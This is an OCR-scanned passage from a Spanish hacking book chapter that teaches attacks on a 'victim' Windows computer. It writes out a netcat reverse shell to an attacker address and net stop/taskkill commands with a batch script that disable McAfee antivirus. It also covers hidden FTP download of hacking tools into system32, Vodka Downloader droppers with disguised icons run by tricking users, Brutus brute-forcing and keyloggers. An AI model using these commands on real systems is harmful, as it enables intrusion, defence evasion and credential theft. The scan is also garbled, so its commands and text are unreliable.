manera, aunque se tenga acceso local al ordenador yse configure un backdoor
mediante netcat de forma directa, nunca se podra realizar una conexion desde
fuera delaorganizacion hacia adentro.
3.2.2Shellreversa
Mientras que el firewall no permite conexi ones entrantes no autorizadas,
norrnalmente la red interna es clasificada como confiable y esto significa que
permite las conexi ones desde adentro hacia fuera de una manera menos estricta 0
por 10menos suele ser mas perrnisiva con este tipo de conexi ones que salen de la
organizacion, Sabiendo esto, se pueden modificar las instrucciones de netcat para
que este se conecte al ordenador atacante. Para lograrlo, puede ej ecutar las
siguientes instnicciones:
C: \>nc -v -1-p37337
Desde el ordenador atacante
Desde el ordenador victima
'I' i,1Io
C: \>nc direcci6n atacante 37337 -ecmd.exe
Nota: al realizar la conexion, puede no aparecer el prompt de la linea de
comandos de Windows. Pudiera parecer que no funciono la shell reversa,
pero si empieza a ej ecutar comandosdesde la ventana donde se dej 6 el
netcat alaescucha vera como responde el ordenador victima.
I,
Esta tecnica es conocida como laconexi6n 0shell reversa. Como serealiza
la conexi6n desde adentro hacia afuera, para el firewall es una sesi6n en algunos
casos transparente y permisible. Este es el metodo preferido de conexion de la
mayoria del malware existente en Internet, servidores troyanos que se conectan
desde adentro aun cliente en Internet. Esto es el caso detroyanos como el famoso
flux. Esto tambien se puede lograr can los exploits encontrados en metasploit
framework eligiendo el payload adecuado, identificable par su nombre con la
palabra clave reverse.
'j
I
H ,
3,
.e
o
.a
~a
lS
z a
os
la
ill
SO
lit
la
RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 121
Nota: la migraci6n de netcat 0DC a Windows le ha dotado de 'algunos
parametres adicionales para su usa, que puede no ver en su equivalente
versi6n para Linux. Para obtener todos los parametres utilizables en la
versi6n dequedisponga, basta conted ear DC -h.
3.3 DESACTIV ANDO EL ANTIVIRUS
Estando dentro del ordenador victima estan s610el primer paso alagloria.
Muchos ordenadores ya vienen con antivirus instalados por defecto. En el
momenta que se quiera subir las herramientas de hacking al ordenador victima, el
antivirus instalado no 10permitira y dara alerta al usuario indicando que se
encontr6 rnalware del tipo hacktool (herramienta de hacking). Para evitar esto,
habraqueprimero encontrar el antivirus y desactivarlo.
Para lograr la desactivaci6n del antivirus, 10primero a investigar es si
existealguno. Si ha comprometido el sistema y entra en el directorio de Archivos
dePrograma, revise queprogramas hay instalados y verifique si alguno deellos es
un- antivirus. Cada programa antivirus levanta un servicio en Windows que se
ocupan para la constante monitorizaci6n de los recursos del sistema. Estos se
tendran quedetener y despues matar el ej ecutable.
Desde la linea de comandos se puede realizar la tarea de dar de baj a el
servicio mediante los comandos net de Windows. Estos comandos se estudiaran
con mas detalle en un capitulo posterior. El unico que necesita conocer por este
momenta es net stop, que es el comando que se ocupa de detener servieios en
entomos de Microsoft. Otra utilidad necesaria sera taskkill, que sera ocupado para
matar el proceso. Esta ultima herramienta existe en versiones posteriores a
Windows XP Profesional y Windows 2003. Para Windows 2000 existe el antecesor
aestaherramienta llamada kill. .
Loprimero a hacer es estudiar que servicios y procesos corren para el
antivirus que se quiera desactivar. Cada antivirus es distinto y podria funcionar la
desactivaci6n tanto como no. Puede probar usted mismo instalando el antivirus que
es desu interes para desactivarlo en su propio ordenador y ver los nombres de los
servicios accediendo al panel deadministraci6n.
A estepanel deadministraci6n sepuede acceder haciendo die con el bot6n
derecho del mouse sobre el icono deMi PC y luego seleccionar Administrar. Otra
manera es ir a Inicio->Ej ecutar y escribir en el dialogo services.msc para luego
presionar el bot6n de aceptar. Aparecera el listado de todos los servicios que tiene
122 HACKING Y SEGURlDAD EN iNTERNET
Windows. Cuando encuentre los servicios relacionados al antivirus, que
usualmente se nombran con el nombre de laempresa desarrolladora, haga clic con
el boton derecho sobre ella y anote el nombre del servicio tanto como el ej ecutable
relacionado al servicio que aparecen indicados en la ventana como en la siguiente
tmage.n:
I:
,f!
It.
'I'
i. ,.
~~ ..
.,,~
,~~
,~II:
Admlnistr ad6n del equipo (local)
F ~ Herramientas del sistema
if}iDVisor desucesos
l~~ Carpetas compartidas
itc!?iI Registros yaIertas de rendirr
, ~ Adminlstrador de disposltivos
.",.~ Almacenamiento
it,aMedics de almacenamiento e
: ...~ Desfr agmentador de disco
~ Adtninistr aciOn de discos
(,,; ~ Servicios)' Aplicaciones
, ~ Servldos
I' ~ Control WMI
J l gServicio de Index Server
Iniciado Automatico
Manual
""anual
Iniciado Automatlco
Manual
Iniciado ~Ianual
Almacena i... Iniclado Automatico
Detecta ys... I'lanual
Administr a ... Manual
Proporcion ... Iniciado Automatico
Ofrecealm ... Iniciado AutOlnatico
Administr a I... Manual
Manual
Iniciado Automatico
Iniclado. Automatlco
Habilita Ia c... lniciado Automatlco
Habiita la e ... Iniciado Automatico
Mantiene vi... lniciado Automatlco
AdmInistra I... Irriciado Automatico
Resuelve y... Iniciado Automatlco
~
Figura 3-18. Listando los servicios en Windows mediante el panel administrativo
Hay procesos que no estan relacionados al servicio. Los procesos se
pueden listar presionando CTRL+ALT+SUPR para invocar el Administrador de
Tareas de Windows. En el tabulador de procesos se listan todos los procesos. Lo
quepuede hacer esver y listar estos procesos antes deinstalar el antivirus y ver que
procesos aparecen una vez ya instal ado el programa. Tome por ej emplo el caso de
Mcafee Virus-Scan Plus 2007 u otro antivirus de los tantos que existen. Este
software 10puede descargar desde lapagina Web deMcafee en www.mcafee.com.
En su seccion dedescargas puede obtener una version deevaluacion a30dias. Para
cada servicio, 10 debera parar con el comando net stop, sin embargo para los
ej ecutables los puede incluir todos como argumento para taskkill a la hora de
matar el proceso. Antes de realizar las instrucciones, compruebe que funcione el
antivirus ej ecutando alguna herramienta dehacking, troyano 0virus dentro del CD-
ROM que acompafia a este libro. AI ver que funcionan las alertas, ej ecute las
siguientes instrucciones:
@RA-MA
MA
[ue
.on
ble
nte
IfIJ
~~I
I _ ......J
~l
~"~~
.
-
s se
r de
. Lo
que
ode
Este
zom.
Para
l los
a de
te el
CD-
~las
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS... 123
net stopEmproxy
net stop " McafeeHackerWatch Service"
net stop " McLog Manager Service"
net stopMcNASvc
net stopMpfService
net stopmcpromgr
net stopMcShield
net stopMcRedirector
net stopMcODS
net stopMcSysmon
net stopmctskshd.exe
net stopmcmispupdmgr
net stopmcmscsvc
net stopmcusrmgr
taskkilllF lIM emproxy.exe lIM HWAPl.exe lIM mclogsrv.exe lIM mcnasvc.exe
lIM MPFSrv.exe lIM mcpromgr.exe 11M mcshield.exe lIM redirsvc.exe 11M
mcods.exe lIM mcsysmon.exe lIM mctskshd.exe lIM mcupdmgr.exe lIM
mcusrmgr.exe lIM mcvsshld.exe lIM mcvimgr.exe lIM mcregist.exe lIM
mclogsrv.exe lIM mcagent.exe
Una vez ej ecutadas estas instrucciones, ponga a prueba nuevamente el
antivirus ej ecutando alguna herramienta de hacking dentro del CD-ROM y
verifique que no hay alertas por parte del programa de Mcafee. Ahora bien, es en
realidad tedioso tener que investigar los procesos e ir probando para cada antivirus
los comandos. Para ahorrar tiempo en futuras conquistas, puede elaborar un
programa mediante batch scripting 0trabaj os por lotes, en su traduccion al espafiol.
Para matar los procesos de este antivirus en particular, puede seguir el siguiente
esquema:
r 'I " I
I:
,~
I~'
: 1'
i,'"
lij-
' ...
,~~
.~"
124 HACKINGY SEGURlDAD ENINTERNET
RA-MA
@echo off
If exist " %programfiles%\mcafee.com" (gotomcafee) else(goto 1)
: 1
exit
: mcafee
net stopEmproxy
net stop " McafeeHackerWatch Service"
net stop " McLog Manager Service"
net stopMcNASvc
net stopMpfService
net stopmcpromgr
net stopMcShield
net stopMcRedirector
net stopMcQDS
net stopMcSysmon
net stopmctskshd.exe
net stopmcmispupdmgr
net stopmcmscsvc
net stopmcusrmgr
taskkill I F lIM emproxy.exe lIM HWAPl.exe lIM mclogsrv.exe lIM mcnasvc.exe
lIM MPFSrv.exe 11M mcpromgr.exe lIM mcshield.exe 11M redirsvc.exe 11M
mcods.exe 11M mcsysmon.exe 11M mctskshd.exe 11M mcupdmgr.exe 11M
mcusrmgr.exe lIM mcvsshld.exe 11M mcvimgr.exe lIM mcregist.exe 11M
mclogsrv.exe 11Mmcagent.exe .
exit
Guarde estas lineas en un archivo con extension .bat. El script es muy
sencillo: laprimera linea es una instruccion para desactivar el output aconsola por
parte del script. La siguiente linea impone una condicional, diciendo que si se
encuentra el directorio de instalaci6n para el antivirus especificado, que se dirij aa
las instrucciones especificas de desactivaci6n de ese programa seguido por la
instruccion exit. Esta ultima instrucci6n la realiza mediante la orden goto <tag>,
que seutiliza para saltar auna linea marcada con dos puntos seguido de tag (: tag).
A
y
Ir
e
a
a
..
,
) .
RA-MA
CAPiTULO 3. TECNICAS DE HACKING CONTRA L'OS SISTEMAS... 125
Siguiendo estamisma estructura, puede afiadir sobre este esquema las instrucciones
para desactivar otros antivirus y asi armarse una herramienta util de ocupar al
momento dedesactivar las defensas dealgun ordenador:
@echo off
Ifexist " %programfiles%\directorio_ antivirusl" (goto antivirusl) else(goto 1)
: 1
If exist " %programfiles%\directorio _ antivirus2" (goto antivirus2) else(goto 2)
: 2
Ifexist " %programfiles%\directorio_ antivirus3" (goto antivirus3) else(goto 3)
: 3
exit
:antivirus1
instrucciones paradesinstalar antivirus1
exit
: antivirus2
instrucciones para desinstalar antivirus2
exit
: antivirus3
instrucciones paradesinstalar antivirus3
exit
@echo off
Ifexist " %programfiles%\mcafee.com" (gotomcafee) else(goto 1)
: 1
exit
Estescript ocupa lavariable deentorno %programilles%, que seexpande
a C: \Archivos de Programa 0C: \Program Files, dependiendo del lenguaj e del
sistema operativo, haciendo que el script sea independiente a la localizaci6n. Si
deseaaprender mas de batch scripting, puede encontrar varios tutoriales ~nInternet
acerca del tema. Muy recomendable son los foros existentes como
,,1" I ~
I I
i
ll!
i~
! ) i
I
I,
~ I ' ,
126 HACKING Y SEGURIDAD EN INTERNET RA-MA
http://foro.elhacker.net 0 en http://foro.portalhacker.net. Dirij ase alas secciones de
programacion yencontrara varias publicaciones sobre el tema.
Puede ser que estos scripts puedan ser detectados por el antivirus,
catalogandolo como malicious script (script malicioso). Para eso, puede ocupar un
programa llamado Exescript, un programa de pago que crea un ej ecutable a partir
de su fichero .bat. Tiene otras caracteristicas interesantes ademas si desea
profundizar en sus habilidades de programador. Al ser un archivo compilado .exe,
el antivirus no detectara las instrucciones escritas como con el fichero .bat. Puede
obtener este software en http://www.hide-folder.com!
3.4TRANSFERENCIA DE ARCHIVOS
La duda mas natural que le puede surgir en este momenta es l,ocupando
solamente la shell de comandos que se obtiene con un exploit remoto, como puede
subir las herramientas de hacking al ordenador victima? La solucion a este dilema,
mientras que no es tan trivial como compartir una carpeta en Windows, resulta ser
de todos modos algo relativamente sencillo.
3.4.1 Configurando un servidor FTP
Una vez obtenida la consola de comandos en la victima remota, se puede
ocupar el cliente ftp simple por linea de comandos que viene integrado como una
herramienta estandar. Tanto Linux como Windows tiene esta herramienta
incorporada; simplemente al introducir el comando, se devuelve un prompt del
cliente ftp y se puede empezar a realizar' una conexi on a un servidor ftp donde
guarde sus herramientas. Si trabaj a baj o un entomo de Linux, puede instalar un
servidor ftp como Proftpd 0vsftpd; el usuario ycontrasefia es la misma que ocupa
para iniciar una sesion de usuario yde inmediato inicia en su directorio home. Para
Windows, puede utilizar Filezilla server, descargable desde su portal Web ubicado
en http://filezilla.sourceforge.netl.Adiferencia de los servidores ftp baj o Linux, sin
embargo, debe configurar los usuarios y las rutas a sus directorios de inicio antes
de ocuparlo.
Una vez descargado e instalado, se abre una ventana que es el panel de
administracion para poder controlar las distintas opciones de configuracion del
servidor ftp ypermitira tambien dar de alta ausuarios. Para dar de alta un usuario,
dirij ase al menu Edit->Users yse abrira una ventana con las opciones necesarias.
Dentro de esta ventana existe un recuadro llamado Users. Presione el boton Add
para afiadir un usuario. Aparece otra ventana con dos campos, el primero donde
de
I S,
un
tir
ea
~e,
de
10
i e
la,
er
Ie
ra
ta
el
ie
ill
J a
ra
10
ill
Ie
el
0,
s.
ld
Ie
RA-MA
CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 127
. ,........
afiadeel nombre de usuario yel segundo donde se elige el grupo aquien qui era que
pertenezea.
Speed Limits
. IPFilter
1 J';._
.~;. 1:
,1['""", ----:-- ' .j
i'! [~dd..1 [Remove.] !
1 i IRename) [ .COpy ] 1
- _ )
oBypass userlimltof server
. Maximum.connection count:
. .~~#: .: }J;~~' :t "
~f -:>!:
Connection limit" per IP:
I~__ .__ ---J
'E=-=t
,0Force SSL for user login
, Description
!~-----
!I
; I
. ! i
~,...... _ ~O_K---"-'"~~'-"'I-j 1'----__ .__
,-~ --,I Y ou canenter some comments about the user
[_ Cancel .
Figura 3-19. Configurando un usuario en Filezilla Server
Una vez afiadido el usuario, se habilitan los otros reeuadros de
configuracion, permitiendo por ej emplo el uso de una eontrasefia en la seccion de
Account Settings. Despues, en el recuadro Page, elij a la seccion Shared Folders
para ver las opeiones de los directorios que se desean habilitar para el usuario.
Simplemente presione el boton Add yse abrira una ventana para elegir las earpetas
alas que se quiera dar aceeso al usuario. EI primer directorio que se afiada sera el
directorio de inicio. Una vez elegido, asegurese de dar los permisos necesarios
haciendo die sobre las casillas de verificacion. Ya una vez dados debe aeeptar, en
el menu de Server, asegurese de que la opcion Active tenga una tilde verifieando
que esta el servicio activo.
'1
128 HACKING Y SEGURIDAD EN INTERNET RA-MA
3.4.2 Descarga de herramientas mediante un script
Ahora que tiene un servidor ftp para guardar sus herramientas, puede
ocupar cualquier cliente ftp para conectarse a el. La sorpresa que todos se
encuentran cuando intentan conectarse al servidor ftp mediante la consola de lineas
de comando es que la consola obtenida mediante el exploit se queda colgada en vez
de pasar al prompt del ftpy lamentablemente se pierde la conexi6n. Esto es normal
en el caso que se obtenga la consola en unsistema operativo de Windows. Para
solucionar este pequefio inconveniente, la herramienta de cliente ftp de Windows
puede realizar acciones desde un script. El script se puede escribir de la siguiente
manera:
iJill
I~II
,~II
I""
i'I~,
~~'"
H'I
,~~
.* -.
usuano
open direcci6n _ servidor _ ftp
contrasefia
binary
get herramienta 1
get herramienta2
get herramienta3
bye
La primera linea da la instrucci6n de abrir una conexion al servidor ftp,
indicado por una direccion IP 0 bien un nombre que se pueda resolver mediante
DNS. Las siguientes dos lineas proporcionan el usuario y contrasefia. Aqui es
importante no dej ar un espacio en blanco despues de cada uno, puesto que se
contara como parte del texto y 'usuario' no es 10 mismo que 'usuario'. En la
siguiente linea se debe indicar la palabra clave binary, esto es por que por defecto
se baj an en modo ascii. El modo ascii se ocupa para compatibilizar los textos entre
los sistemas de Linux, Windows yMacintosh. Esto 10hace cambiando el caracter
que indica un fm de linea, que es distinto para todos. Si se descarga un binario en
modo ASCll, sin embargo, modificara el ej ecutable y la herramienta quedara
inutilizable. Despues s610 hay que indicarle al cliente ftp que descargue las
herramientas que se requieren y despues desconectarse con la palabra clave bye. Si
se le olvida desconectarse, la consola no se desprendera del ftp y quedara
inutilizable.
Existe otro problema al estar dentro de la consola de Windows
remotamente. Al tratar de abrir el editor de textos desde la linea de comandos, la
fA
:Ie
se
as
ez
.al
ra
" 's
rte
tp,
ite
es
se
la
cto
tre
ter
en
m: !
las
Si
Ira
ws
la
RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 129
console nuevamente quedaria inutilizable al igual que al tratar de conseguir un
prompt del cliente ftp. Para escribir el script, se debera escribir linea por linea las
instrucciones a traves del comando echo, redirigiendo el output de este a un
fichero. La redireccion se logra mediante el simbolo >. Un solo > borra el
contenido del fichero antes de redirigir el output. Con redirige el output
afiadiendo la entrada a una nueva linea. Para crear el script anterior, se haria 10
siguiente:
echo open direcci6n _ servidor _ ftpscript.txt
echo usuario>>script. txt
echo contrasefia>>script. txt
echo binaryscript.txt
echo get herramientalscript.txt
echo get herramientaz-c-scnpt.txr
echo get herramienta3script.txt
echo b)'escript.txt
Despues para ej ecutar el script, con el cliente ftpdeWindows, seej ecuta el
comando con el switch -s: fichero, donde fichero es el script recien creado. Antes
deej ecutar el script, 10mej or seria crear un directorio que sea dificil deencontrar.
Por ej emplo dentro del directorio %systemroot% \system32 crear una subcarpeta
Hamadax86_ driver. Entre tantas otras carpetas de sistema, este directorio pasaria
relativamente desapercibido.
3.4.3Baj ando las herramientas mediante un troyano
Mediante un poco de estudio de batch scripting, uno podria armar un
programa que descargue y ej ecute todo de una sola vez. Junto al programa
Exescript, para transformarlo en ej ecutable y asi hacer el trabaj o mucho mas
sencillo. El poder delainformatica consiste en la automatizaci6n delos procesos y
la multiplicaci6n de los resultados. Es as! como nace el concepto del malware,
pequefiosej ecutables que hacen el trabaj o del hacker malicioso que los cre6. Crear
estosscripts puede llegar aser mucho trabaj o para algunos, puesto que es aprender
otro tipo de lenguaj e. Hay sin embargo herramientas ya creadas para automatizar
esteproceso. Vodka Downloader esuna de estas.
Vodka Downloader es un programa que descarga las herramientas de
hacking de un sitio Web mediante el protocolo http. Al descargar, tambien da la
l""1"'I'tl' r' "
130 HACKING Y SEGURIDAD EN INTERNET RA-MA
posibilidad de ej ecutar el programa 0 script y de manera oculta al usuario (no se
abre un cmd). Este software se puede obtener en el interesante portal Web
http://www.indetectables.net.
[Von-: ; D~:~{oAn~.~X i
I UR~;rI>;.' ,'1 .E~tr~~F: " j ,,:E.jecucioll..;. I
http://www.... %fAlindir%\d... Oculto
I http://www.... %fAlindir%\d... Oculto
I
_ .. . ..1
I.. _ _ . _
Figura 3-20. Configurando Vodka Downloader .
j::
~~ " ',
Antes de ej ecutar esta herramienta de hacking, el lector debera estar
preparado con un servidor Web donde residan las herramientas a descargar. Bien
puede practicar con esta herramienta si ya tiene un hosting contratado para su
pagina Web personal. Si no tiene un hosting y prefiere que se descargue de un
lugar mas anonimo, puede instalar un servidor Web en su propio ordenador. No se
preocupe si no' tiene muchos conocimientos de administracion Web, no seran de
necesidad. Existe el portal Web http.r/www.apachefriends.org que distribuye un
instalador llamado xampp, que consta de un servidor Web Apache con soporte
para bases de datos Mysql y capacidad de scripting en PHP y Perl. Tambien
incluye el servidor FTP de filezilla y otros programas mas para la facil
administracion desu servidor Web, instalable mediante el clasico metodo del doble
clic. Cualquier duda que tenga, el portal contiene una seccion con las preguntas
mas frecuentes que pudiesen ser de ayuda frente a cualquier eventualidad que
tuviese.
Una vez instalado XAMPP, si usted dispone deuna direccion IP dinamica,
seria de gran ayuda tener un dominio que apunte asu IP cada vez que cambie. As!
Vodka Downloader siempre puede encontrar su servidor Web. Para saber si tiene
una direccion IP dinamica, utilice el portal http://ip-adress.com/para averiguar su
IP. Despues desconectese y conectese nuevamente aInternet y vea su direcci6n IP
1_
se
reb
.tar
len
su
un
I se
de
un
irte
ien
lcil
ble
.tas
[ue
.ca,
Asi
;me
'su
.IP
RA-MA
CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 131
nuevamente. Si su direccion es distinta a la anterior, es porque tiene una IP
dinamica.
Existe el servicio de rastreo de IP proporcionado en la pagma Web
http://dyndns.org. Dirij ase al enlace de Dynamic DNS baj o la seccion de servicios
y registre un dominio para su uso personal. EI servicio Ie provee de una interfase
para introducir su direccion IP cada vez que cambie y tambien existe el cliente que
al instalarlo en su ordenador actualiza la direccion por usted y a todo momento. EI
servicio es gratuito y muy recomendable para las personas que quieran proveer un
servicio Web con baj os costes.
Al ej ecutar el programa VodkaEditor, incluido dentro del paquete
eomprimido de Vodka Downloader, aparece una ventana de dialogo donde al
haeer clie con el boton derecho del mouse sobre el, aparecen las opeiones del
programa. Seleccione la opcion Aiiadir Item. Aparecera otra ventana que pregunta
dedonde se descarga laherramienta de hacking; este debe de ser una direccion IP 0
bien un nombre que se pueda resolver mediante DNS. Tambien debe ser mediante
el protocolo http. Esto estara resuelto una vez que instale el XAMPP y registre un
dominio que rastree su IP.
Para cada item que seleccione, se debe de indicar en que sitio en el
ordenador quiere que se descargue. EI programa permite variables de entomo de
Windows, que se recomiendan utilizar si no sabe en que lenguaj e esta 0 que
version de Windows es. Despues de indicar en donde se descarga, puede
seleceionar de entre tres acciones posibles:
Ej e.cutar de manera normal el programa descargado. Esta opcion se
utiliza muchas veces para adware, que son programas que publieitan algun
servicio en la Web.
Ej ecutar de manera oculta. Muy util si 10 que se qui ere ej ecutar son
ficheros .bat, que contengan scripts para realizar acetones sin que se
percate el usuario.
No realizar nada. Esta opcion es simplemente para descargar la
herramienta. Muchas veces 10 que se hace es primero descargar una
herramienta sin hacer nada y despues el siguiente item a descargar seria un
batch script que hace uso de la herramienta previamente descargada.
Una vez afiadidos todas las herramientas y scripts que quiera descargar ala
victirna, nuevamente haga clic con el boton derecho del mouse para elegir
I 1
~II'
illnl
lj
I ,Ulf
I~~'-
'I'l~
j .....
132 HACKING Y SEGURIDAD EN INTERNET RA-MA
Opciones. Vodka Downloader crea un ej ecutable, mediante esta opcion se puede
cambiar el icono de este ej ecutable. Puede camuflarlo como un enlace Web, una
imagen a un fichero de texto. La extension sigue siendo .exe, sin embargo, como
Windows no muestra las extensiones par defecto, estepasa desapercibido. Una vez
elegido el icono que se quiere ocupar, simplemente seleccione el boton erear y
listo.
Bien 10puede ej ecutar usted mismo al descargarlo en la victima mediante
el uso de un exploit y el metoda de script de ftp, pero es mucho mas sencillo
engafiar alapersona para que ella 0el mismo 10abra, puesto que no existe parche
alguno para laignorancia humana.
Al concatenar todos los pasos anteriores, puede primero baj ar el script para
la desactivacion de antivirus. Puede luego descargar la herramienta neteat, para
luego descargar un script que 10dej e a la escucha 0bien que se conecte austed
como una shell reversa. Con un poco deimaginacion y suficiente conocimiento, las
opciones son infinitas.
3.5VALIDACION TRANSP ARENTE EN LOS SISTEMAS
Cuando uno entra al sistema mediante exploits y con privilegios del
sistema, toda accion realizada quedara registrada con el usuario System. Lo mismo
para entomos deLinux donde queda todo registrado como root. Mientras quetiene
ventaj as tener permisos elevados, es facil detectar la intrusion al notar que una de
estas dos cuentas estan siendo utilizadas. Normalmente, estas cuentas no seocupan
I
en 10absoluto y su uso resulta ser bastante obvio. Si la maquina comprometida se
planea utilizar a largo plazo, 10mej or es validarse en el sistema como uno de los
mismos usuarios que estan permitidos acceder alos recursos delared.
Aunque uno sea administrador del sistema, las contrasefias no son
obtenibles de manera sencilla. Estas se guardan encriptadas y la unica manera de
obtenerlas es adivinando. Este metodo requiere de tiempo, pero hay maneras de
agilizar el proceso, como sedescribe enotros capitulos deese libro. Laotra manera
es simplemente robando las contrasefias interceptando estas mediante un key
logger.
3.5.1Validaci6n mediante fuerza bruta
Cuando todo 10demas falla, serecurre a la fuerza bruta. Esto puede sonar
gracioso, pero la fuerza bruta es uno de los ataques mas comunmente utilizados al
momenta dequerer conquistar un ordenador. En seguridad, el eslabon mas debil de
MA
ede
rna
rno
fez
r y
tlte
110
.he
ara
:ira
: ed
las
Iel
no
ne
de
an
se
os
on
de
de
.ra
ey
ar
al
i e
RA-MA
CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 133
la cadena es el humano. Los usuarios no estan acostumbrados a tener contrasefias
fuertes con distintos caracteres y numeros puesto que prefieren ocupar palabras
faciles de recordar. Mientras quela ventaj a es una baj a probabilidad de olvidarse
dela contrasefia, la vulnerabilidad es que es facil de adivinar.
Uno podria estar facilmente adivinando todo tipo de contrasefias, sin
embargo es tedioso estar en frente del ordenador ingresando las contrasefias una
por una. Para automatizar el proceso, existen programas que se les da un
diccionario de contrasefias posibles y estes se encargan de irprobando estas una a
una. El primer paso antes de realizar un ataque de fuerza bruta a un servicio de
validacian es obtener 0 generar un buen diccionario de contrasefias.
Pero obtener un diccionario de contrasefias no es suficiente. En cualquier
sistema de validacion, se requieren de dos datos importantes; el nombre de usuario
y la contrasefia, Para autenticarse de manera exitosa en el sistema, tendra que
adivinar ademas el nombre de usuario. Existen maneras para enumerar los usuarios
en ambos Windows yLinux, 10cual facilita la mitad del problema resuelto, pero
este ataque de ej emplo se hara asumiendo que no se sabe ninguno de los dos.
La herramienta a ocupar sera Brutus, _ que se puede obtener de
http://www.hoobie.net. La herramienta esta escrita para ser utilizada baj o entomo
Windows, pero se puede recurrir a Wine para poder emularlo en Linux. Extraiga el
contenido del paquete yej ecute el programa BrutusA2 para empezar a ocuparlo.
Brutus fue una verdadera revolucion cuando se lanzo a la red, por su facilidad de
uso y 10 genial de plasmar la idea en un pequefio e interesante programa; hoy en dia
empieza aestar algo viej o, sus hermanos como " Hydra" incorporan mas servicios y
tienen un soporte continuado, pero sigue siendo' un excelente elemento por donde
imciarse.
134 HACKING Y SEGURlDAD EN INTERNET RA-MA
;:I:~,~
ilIt!J 'I
Figura 3-21. Ventanaprincipal de Brutus
El primer paso es la generacion de usuarios y contrasefias. Existen varios
diccionarios disponibles en Internet, sin embargo muchas veces estes estan
pensados para usuarios de habla inglesa. Para un ataque exitoso, el diccionario
debe de ser 10mas especifico posible y esto empieza por la localizacion de la
entidad victima. Usar un diccionario con nombres que provienen del ingles y
utilizarlo en Madrid no es util en absoluto. Utilice Google para buscar listados de
nombres y apellidos hispanos. Los nombres de usuario tienen distintos formatos
segun donde se este apuntando el ataque. Si la victima es un ordenador de la
familia, el nombre de usuario normalmente resulta ser el nombre de pila 0 un
apodo. Si lavictima esun ordenador deuna organizaci6n, normalmente suele ser el
apellido prefij ado con una letra inicial del nombre depila. Para esteultimo caso, se
tendria que armar un listado con todos los apellidos recopilados y prefij ar esta
inicial.
Brutus incorpora una herramienta para la generaci6n de listas depalabras.
Dirij ase a la barra de menus y elij a Tools->Wordlist Generation para llamar a
esta utili dad. En la ventana 'que aparece, hay una lista desplegable identificada
MA
lOS
tan
no
la
;y
de
tos
la
un
~el
se
sta
as.
r a
ida
RA-MA
CAPITULO 3. TECNICAS DE HACKlNG CONTRA LOS SISTEMAS ... 135
como Action. Esta lista muestra las distintas funcionalidades que proporciona esta
utilidad de Brutus. Las funcionalidades que presenta son las siguientes:
Convert List. Esta primera opcion es para convertir el formato de texto
UnixILinux (LF) a Windows (CRLF). Si obtiene una lista de palabras y al
abrirlas se da cuenta que no es una palabra por linea sino una linea
infinitamente larga, ocupe esta opcion para arreglar el caracter de fin de
linea.
Only Word Length. Esta opcion es para cuando qui ere filtrar de su lista
de contrasefias aquellas palabras que sean menor 0 mayor a cierta cantidad
de caracteres. Muy util cuando se sabe que en una organizacion mantienen
politicas de un minimo de caracteres para las contrasefias.
Remove Duplicates. De la lista de palabras, saca los duplicados que
puedan existir. El programa es un poco lento para esto y trabaj a mej or con
listas cortas. Esto se defme alistas menores a 100.000 palabras.
Permutations. Ya teniendo una lista de palabras, esta opcion se ocupa
-para generar permutaciones. Tiene varias opciones donde permite por
ej emplo afiadir a la lista las mismas palabras pero escritas de divers as
formas, como por ej emplo al reves 0 escrito en fleet speek' (ej emplo; 31337
en vez de eleet). Esta funcionalidad resulta mej or para cuando se quiere
formar las listas de nombres de usuarios por ej emplo. Ingrese una lista de
apellidos y en el campo Append strings ingrese todas las letras 0
combinaciones de caracteres que quiera agregar al principio del apellido.
I
Create new list. Esta opcion es para crear una nueva lista de palabras.
Aqui puede definir un minimo y maximo de caracteres para las palabras
generadas y tiene todas las opciones para generar distintos tipos de
permutaciones de las palabras generadas. La ultima opcion agregada es
Seed word 0palabra semilla en su traduccion al espafiol. Estas palabras
debieran ser palabras que usted piensa se relacionan a la persona u
organizacion cuya contrasefia esta tratando de adivinar.
Create new list for user. Cuando 10 unico que quiere hacer es tratar de
adivinar la contrasefia de un usuario conocido, es posible crear " listas
combo" , como los llama Brutus. En esta lista, asigna todas las contrasefias
. que usted piensa se relacionan a ese nombre de usuario. Las opciones son
las mismas que tiene al generar una nueva lista de palabras, con la opcion
agregada de afiadir el nombre de usuario.
~,.,'
136 HACKING Y SEGURIDAD EN INTERNET RA-MA
Create new list for users. Al igual que la opcion anterior, pero en vez de
tan solo un usuario, se ingresa una lista de usuarios conocidos y se les
combina con las contrasefias generadas.
I
I ~'.
I
I
j
",II,
'1tI,IUI
or
~
:I'!~'
j
1,1t'1II
I
Ihh:q
j .
:.".",
,~~ 4
,~
gij ~1
Figura 3-22. Generando listas de palabras con Brutus
I ,
Una vez generada su lista, simplemente utilice la interfase de Brutus para
configurar los distintos parametres necesarios. El primer parametro necesario es
obviamente el obj etivo a atacar, donde ingresa un nombre 0 direccion IP. El
siguiente parametro adefinir es que tipo de sistema devalidacion quiereatacar. l,Es
un formulario Web 0 autenticacion basica mediante HTTP? l,Esun servicio FTP 0
una cuenta de correo mediante el protocolo POP3? Para cada tipo de protocolo,
Brutus ofrece ciertas opciones propias al protocolo, sin embargo 10mas importante
es cuantas conexi ones en paralelo se realizan y cuanto tiempo de espera tendra en
laobtencion derespuestas.
Habra que tener cuidado al momenta de elegir las conexiones en paralelo,
puesto que muchas veces el servidor obj etivo no aguanta demasiadas conexi ones a
la vez. Por defecto Brutus lanza 10conexi ones a la vez, esto esta bien en un
principio, sin embargo habran casos que el servidor no aguante mas de uno a la
vez.
-MA
-
~de
les
l
,
I
"
_ _ .
lara
) es
EI
iEs
J
Po
)10,
nte
en
elo,
.sa
un
L la
RA-MA
CAPiTULO 3, TECNICAS DE HACKING CONTRA LOS SISTEMAS, .. 137
3.5.2Robando las contrasefias con un keylogger
Crackear contrasefias mediante la fuerza bruta a veces toma demasiado
tiempo y otras veces simplemente no funciona para nada. Para ser mas certero, se
pueden ocupar programas que graban a cada momento que esta escribiendo el
usuario en el teclado. Estos programas se denominan keyloggers. Existen muchos
en Internet con varias opciones de envio y hasta los venden para las personas
celosas que sospechan de su conyuge, Uno de estos keylogger es Iklogger.
Tambien del grupo de Indetectables, se puede conseguir en la misma pagina que
Vodka Downloader.
